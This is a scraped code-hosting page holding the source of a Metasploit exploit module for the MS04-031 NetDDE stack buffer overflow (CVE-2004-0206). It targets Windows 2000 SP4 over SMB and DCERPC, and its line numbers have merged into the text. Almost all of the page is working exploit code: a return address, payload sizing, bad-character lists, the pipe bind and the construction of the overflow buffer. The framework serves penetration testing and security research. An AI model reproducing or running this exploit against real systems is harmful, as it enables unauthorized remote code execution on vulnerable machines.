Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms04_031_netdde.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS04-031 Microsoft NetDDE Service Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the NetDDE service, which is the16precursor to the DCOM interface. This exploit effects only operating systems17released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim18that this vulnerability can be exploited without authentication, the NDDEAPI19pipe is only accessible after successful authentication.20},21'Author' => [ 'pusscat' ],22'License' => BSD_LICENSE,23'References' =>24[25[ 'CVE', '2004-0206'],26[ 'OSVDB', '10689'],27[ 'BID', '11372'],28[ 'MSB', 'MS04-031'],2930],31'Privileged' => true,32'DefaultOptions' =>33{34'EXITFUNC' => 'thread'35},36'Payload' =>37{38'Space' => (0x600 - (133*4) - 4),39'BadChars' => "\\/.:$\x00", # \ / . : $ NULL40'Prepend' => 'A' * 8,41},42'Platform' => 'win',43'Targets' =>44[45[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)46],47'DefaultTarget' => 0,48'DisclosureDate' => '2004-10-12'))4950register_options(51[52OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),53])54end5556def exploit57connect()58smb_login()59print_status("Trying target #{target.name}...")6061handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])62print_status("Binding to #{handle}")63dcerpc_bind(handle)64print_status("Bound to #{handle}")6566retOverWrite =67'AA' + (NDR.long(target.ret) * 133) + payload.encoded6869overflowChunk =70retOverWrite +71NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.72NDR.long(0x0)7374stubdata =75NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +76NDR.long(rand(0xFFFFFFFF))7778print_status('Calling the vulnerable function...')7980begin81response = dcerpc.call(0xc, stubdata)82rescue Rex::Proto::DCERPC::Exceptions::NoResponse83end8485handler86disconnect87end88end899091